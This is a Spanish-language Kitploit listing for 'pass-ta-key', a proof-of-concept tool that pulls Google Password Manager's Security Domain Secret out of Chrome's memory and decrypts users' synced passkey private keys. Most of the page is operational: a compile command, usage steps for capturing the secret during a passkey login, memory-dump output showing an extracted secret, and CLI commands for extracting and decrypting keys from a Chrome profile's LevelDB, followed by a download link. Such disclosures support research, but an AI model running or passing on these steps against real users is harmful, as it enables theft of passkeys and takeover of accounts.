Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pass-ta-key — PoC que extrae el Secreto del Dominio de Seguridad de Google Password Manager desde la memoria del proceso de Chrome y descifra las claves privadas ECDSA P-256 de las passkeys de GPM sincronizadas. | Kitploit
Herramientas/GitHubGitHub/0rcruxe/pass-ta-key
Descifrado de ContraseñasHerramientas de Cifrado/DescifradoForensia de MemoriaExplotaciónIngeniería InversaForensia Digital
GitHub0rcruxe/pass-ta-key

pass-ta-key

PoC que extrae el Secreto del Dominio de Seguridad de Google Password Manager desde la memoria del proceso de Chrome y descifra las claves privadas ECDSA P-256 de las passkeys de GPM sincronizadas.

Ver Repositorio
27526hace 4 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC del Ataque Golden de Pass-ta-key

License: MIT PoC

Esta herramienta es la implementación PoC del Ataque Golden de Pass-ta-key, un nuevo método para extraer el Security Domain Secret (SDS) de Google Password Manager (GPM) desde la memoria del proceso de Chrome, analizar los registros WebauthnCredentialSpecifics almacenados localmente para cada passkey de GPM, y descifrar las claves privadas ECDSA P-256 de las passkeys sincronizadas utilizando el SDS extraído.

Versiones afectadas: Debido a que esta vulnerabilidad explota un fallo arquitectónico, todas las versiones de Chrome en todos los canales de distribución (Stable, Beta, Dev y Canary) están afectadas.

Para el análisis técnico completo, consulta mi entrada de blog: https://0rcruxe.github.io/posts/pass-ta-key-golden-attack-sds-extraction/


[!WARNING] Solo para fines educativos y de investigación. Úsalo únicamente en sistemas de tu propiedad o sobre los que tengas permiso explícito para examinar. Se proporciona tal cual, sin garantías de ningún tipo.


Extracción del Security Domain Secret

Extrae el SDS de la memoria del proceso de Chrome durante el registro del dispositivo en el dominio de seguridad del enclave mediante la captura de búferes CBOR.

Compilación

x86_64-w64-mingw32-gcc -O2 -o sds_extractor.exe sds_extractor.c -lws2_32 -liphlpapi -static

Uso

Dirígete a una cuenta de Google específica editando las rutas del perfil de Chrome dentro del archivo fuente. Abre Chrome, ejecuta el binario compilado y luego activa una autenticación con passkey (inicio de sesión o registro) para provocar el registro del dispositivo en el dominio de seguridad del enclave y capturar el SDS durante su tránsito en memoria.

Ejemplo

================================================================
  POC - Security Domain Secret (SDS) Extraction
================================================================

[*] Winsock initialized
[*] 'passkey_enclave_state' deleted

[*] Browser PID : 3016
[*] enclave.ua5v.com resolved:
      142.251.209.142

[*] Monitoring TCP connections ...

[19:06:23.157] [FILE] passkey_enclave_state CREATED
[*] Scanning memory for 10 seconds...

[19:06:23.478] [+] New TCP connection detected -> 142.251.209.142
  [19:06:23.828] pass #5  1106 regions  0 candidate
  [19:06:24.410] pass #10  1106 regions  0 candidate
  [19:06:24.511] pass #11  1106 regions  1 candidate
  ...
  [19:06:33.206] pass #97  1121 regions  1 candidate

================================================================
[+] Security Domain Secret (SDS) Dumped : 1 candidate
================================================================

  #1
  Patterns : keys/wrap & passkeys/assert

  ----- [keys/wrap] @ 0x000032D401D10900 -----
  000032D401D10900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  000032D401D10910  00 00 00 00 00 00 00 00 00 00 cd cd cd cd cd cd  ................
  000032D401D10920  cd cd cd cd cd cd 01 00 00 00 81 a3 63 63 6d 64  ............ccmd
  000032D401D10930  69 6b 65 79 73 2f 77 72 61 70 63 6b 65 79 58 20  ikeys/wrapckeyX
  000032D401D10940  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  <<< SDS start
  000032D401D10950  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  <<< SDS end
  000032D401D10960  67 70 75 72 70 6f 73 65 76 73 65 63 75 72 69 74  gpurposevsecurit
  000032D401D10970  79 20 64 6f 6d 61 69 6e 20 73 65 63 72 65 74 cd  y domain secret.
  000032D401D10980  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................
  000032D401D10990  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................

  ----- [passkeys/assert] @ 0x000032D401FD8A42 -----
  000032D401FD8A42  00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00  ................
  000032D401FD8A52  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................
  000032D401FD8A62  00 81 a5 63 63 6d 64 6f 70 61 73 73 6b 65 79 73  ...ccmdopasskeys
  000032D401FD8A72  2f 61 73 73 65 72 74 66 73 65 63 72 65 74 58 20  /assertfsecretX
  000032D401FD8A82  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  <<< SDS start
  000032D401FD8A92  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  <<< SDS end
  000032D401FD8AA2  67 72 65 71 75 65 73 74 a1 64 72 70 49 64 6a 67  grequest.drpIdjg
  000032D401FD8AB2  69 74 68 75 62 2e 63 6f 6d 68 70 72 6f 74 6f 62  ithub.comhprotob
  000032D401FD8AC2  75 66 59 01 77 0a 10 b3 a4 18 af ce 0e b6 0e c6  ufY.w...........
  000032D401FD8AD2  67 0d e2 6c 1c d1 c2 12 10 95 9f 7f c5 d3 dc 19  g..l............

  Security Domain Secret (SDS) : 41f337a9352c465d0ec05fbc280f314a059eaa4ed104cbb2de31007a940ba185

[+] Done. SDS successfully extracted. Exiting.

Demostración

https://github.com/user-attachments/assets/883fd09b-8065-4501-8176-3c1280da202b


Extracción y descifrado de passkeys de Google Password Manager

Analiza el directorio de base de datos LevelDB almacenado en /Sync Data/LevelDB dentro de un perfil de Chrome, extrae los registros WebauthnCredentialSpecifics y descifra las claves privadas ECDSA P-256 de las passkeys de GPM utilizando el SDS extraído.

Instalación

pip install -r requirements.txt

El archivo webauthn_credential_specifics.proto ya está compilado en webauthn_credential_specifics_pb2.py y se distribuye con el repositorio.

Uso

usage: passkey_extractor.py [-h] <command> [options]

Extract and decrypt Google Password Manager passkeys from a LevelDB database.

commands:

  extract   Extract WebauthnCredentialSpecifics records from a LevelDB directory.
              --leveldb-dir DIR   Path to the LevelDB directory.
              --output-dir DIR    Directory where blobs and metadata are written.

  decrypt   Decrypt a WebAuthn private key (ECDSA P-256) GPM passkey blob using the SDS.
              --blob FILE         Path to the encrypted blob (enc_<id>.bin).
              --sds HEX           32-byte Security Domain Secret (SDS), 64 hex chars.
              --output-dir DIR    Directory where the recovered private key is written.

examples:

  python passkey_extractor.py extract --leveldb-dir ./LevelDB --output-dir ./out
  python passkey_extractor.py decrypt --blob ./out/enc_xxxx.bin --sds <64_hex> --output-dir ./out

Ejemplo de salida

Extracción de registros WebauthnCredentialSpecifics:

Extracción de LevelDB

Descifrado de la clave privada ECDSA P-256 de una passkey de GPM:

Descifrado de la clave privada

Descargar herramienta